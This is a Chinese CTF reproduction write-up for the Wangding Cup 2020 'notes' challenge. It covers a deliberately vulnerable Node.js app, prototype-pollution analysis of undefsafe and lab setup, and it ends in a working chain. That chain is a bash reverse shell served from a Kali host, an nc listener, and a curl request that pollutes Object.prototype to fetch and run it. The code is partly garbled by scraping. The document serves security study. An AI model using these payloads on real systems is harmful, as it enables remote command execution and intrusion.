网鼎杯2020青龙组notes复现

环境搭建

源代码已给:

var express = require('express');

var path = require('path');

const undefsafe = require('undefsafe');

const { exec } = require('child_process');

var app = express();

class Notes {

constructor() {

this.owner = "whoknows";

this.num = 0;

this.note_list = {}; // 定义了一个字典,在后面的攻击过程中会用到

}

write_note(author, raw_note) {

this.note_list(this.num++).toString() = {"author": author,"raw_note":raw_note};

}

get_note(id) {

var r = {}

undefsafe(r, id, undefsafe(this.note_list, id));

return r;

}

edit_note(id, author, raw) {

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

}

get_all_notes() {

return this.note_list;

}

remove_note(id) {

delete this.note_listid;

}

}

var notes = new Notes();

notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));

app.set('view engine', 'pug'); // 设置模板引擎为pug

app.use(express.json());

app.use(express.urlencoded({ extended: false }));

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {

res.render('index', { title: 'Notebook' });

});

app.route('/add_note')

.get(function(req, res) {

res.render('mess', {message: 'please use POST to add a note'});

})

.post(function(req, res) {

let author = req.body.author;

let raw = req.body.raw;

if (author && raw) {

notes.write_note(author, raw);

res.render('mess', {message: "add note sucess"});

} else {

res.render('mess', {message: "did not add note"});

}

})

app.route('/edit_note') // 该路由中 undefsafe 三个参数均可控

.get(function(req, res) {

res.render('mess', {message: "please use POST to edit a note"});

})

.post(function(req, res) {

let id = req.body.id;

let author = req.body.author;

let enote = req.body.raw;

if (id && author && enote) {

notes.edit_note(id, author, enote);

res.render('mess', {message: "edit note sucess"});

} else {

res.render('mess', {message: "edit note failed"});

}

})

app.route('/delete_note')

.get(function(req, res) {

res.render('mess', {message: "please use POST to delete a note"});

})

.post(function(req, res) {

let id = req.body.id;

if (id) {

notes.remove_note(id);

res.render('mess', {message: "delete done"});

} else {

res.render('mess', {message: "delete failed"});

}

})

app.route('/notes')

.get(function(req, res) {

let q = req.query.q;

let a_note;

if (typeof(q) === "undefined") {

a_note = notes.get_all_notes();

} else {

a_note = notes.get_note(q);

}

res.render('note', {list: a_note});

})

app.route('/status') // 漏洞点,只要将字典 commands 给污染了, 就能任意执行我们的命令

.get(function(req, res) {

let commands = {

"script-1": "uptime",

"script-2": "free -m"

};

for (let index in commands) {

exec(commandsindex, {shell:'/bin/bash'}, (err, stdout, stderr) => {

if (err) {

return;

}

console.log(`stdout: ${stdout}`); // 将命令执行结果输出

});

}

res.send('OK');

res.end();

})

app.use(function(req, res, next) {

res.status(404).send('Sorry cant find that!');

});

app.use(function(err, req, res, next) {

console.error(err.stack);

res.status(500).send('Something broke!');

});

const port = 8080;

app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

分析:

原型链污染点定位

undefsafe(r, id, undefsafe(this.note_list, id));

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

关键条件:

原型链污染需同时控制 undefsafe 的 第 2 个参数(属性路径) 和 第 3 个参数(属性值)。

get_note 方法仅能控制第 2 个参数(q),无法污染原型链。

edit_note 方法可通过 POST 请求控制 id、author、raw 三个参数,满足污染条件。

污染点确认与构造:

app.route('/edit_note').post(function(req, res) {

notes.edit_note(req.body.id, req.body.author, req.body.raw);

攻击向量:

id 控制路径前缀(如 proto.xxx)。

author/raw 控制属性值(如命令执行代码)。

});

原型链污染构造:

污染 Object.prototype 的恶意属性

id=proto.恶意命令

author=cat /flag # 或反弹 Shell 命令

edit_note 执行时会触发:

undefsafe(this.note_list, "proto.恶意命令.author", "cat /flag");

命令执行点定位:

app.route('/status').get(function(req, res) {

let commands = { "script-1": "uptime", "script-2": "free -m" };

for (let index in commands) { // 遍历原型链属性

exec(commandsindex, ...); // 执行任意命令

}

});

漏洞点:

for...in 循环会遍历 commands 的原型链属性。若 Object.prototype 被污染,则恶意命令会被执行。

ubuntu中:

创建项目文件夹

mkdir -p /root/notes_app/views

进入目录

cd /root/notes_app

创建核心文件 app.js(漏洞代码)

vim app.js (放入源代码)

安装所需模块

npm install express undefsafe pug

#创建空文件保证js运行

touch index.pug mess.pug note.pug

启动 Node.js 服务(保持窗口运行)

node app.js

#在另一个窗口执行:

访问 /status 路由,触发被污染的命令执行

curl http://localhost:8080/status

kali中:

创建 shell.txt(替换为 Kali 实际 IP)

cat > shell.txt << 'EOF'

bash -i >& /dev/tcp/192.168.13.137/2333 0>&1

EOF

在 shell.txt 所在目录启动 HTTP 服务(端口 81)

python3 -m http.server 81

保持窗口运行,确保 Ubuntu 能访问 http://192.168.13.137:81/shell.txt

新开一个终端,监听 2333 端口

nc -lvp 2333

输出示例:listening on any 2333 ...(保持窗口运行)

新开一个终端,向 Ubuntu 发送污染请求(替换 Ubuntu IP)

curl -X POST -d "id=proto.hack&author=curl http://192.168.13.137:81/shell.txt\|bash\&raw=exp" http://192.168.13.141:8080/edit_note

成功会返回 "edit success" 页面内容

相关推荐
katasea12 分钟前
第05章:信创技术栈选型:服务器、操作系统、数据库、中间件适配对比
服务器·数据库·中间件
筑梦之路18 分钟前
Alibaba Cloud Linux 4 IPXE全自动安装(直连官方源)——筑梦之路
linux·运维·服务器·国产化·阿里云操作系统
encoderlee26 分钟前
ubuntu server 如何播放视频显示网页
linux·ubuntu·音视频·树莓派·ubuntu server·arm嵌入式
云计算练习生34 分钟前
什么是 Linux?从 Unix 到开源生态的完整脉络
linux·开源·操作系统·unix
Pointer Pursuit37 分钟前
make / Makefile
linux·运维·服务器
ZhangJun9537 分钟前
Linux常用命令笔记,中高级运维高频指令,并附上vim常见操作
linux·运维·centos·云计算·vim
浪潮IT馆40 分钟前
Windows 10 安装 PostgreSQL 9.6.24 完整教程
数据库·windows·postgresql
逐流人1 小时前
Ceph对象存储与文件系统存储管理:从RADOS网关、S3与Swift到CephFS快照同步
linux·运维·ceph·云原生·云计算·swift·rados
wdfk_prog1 小时前
Wi-Fi Direct 教程 05:control socket 与 eloop——P2P_FIND 怎样进入 wpa_supplicant 命令解析器
运维·服务器·后端·网络协议·ubuntu·p2p·wifi-direct
Golden_Chen1 小时前
在 Ubuntu 上搭建 FTP 服务器
linux·运维·服务器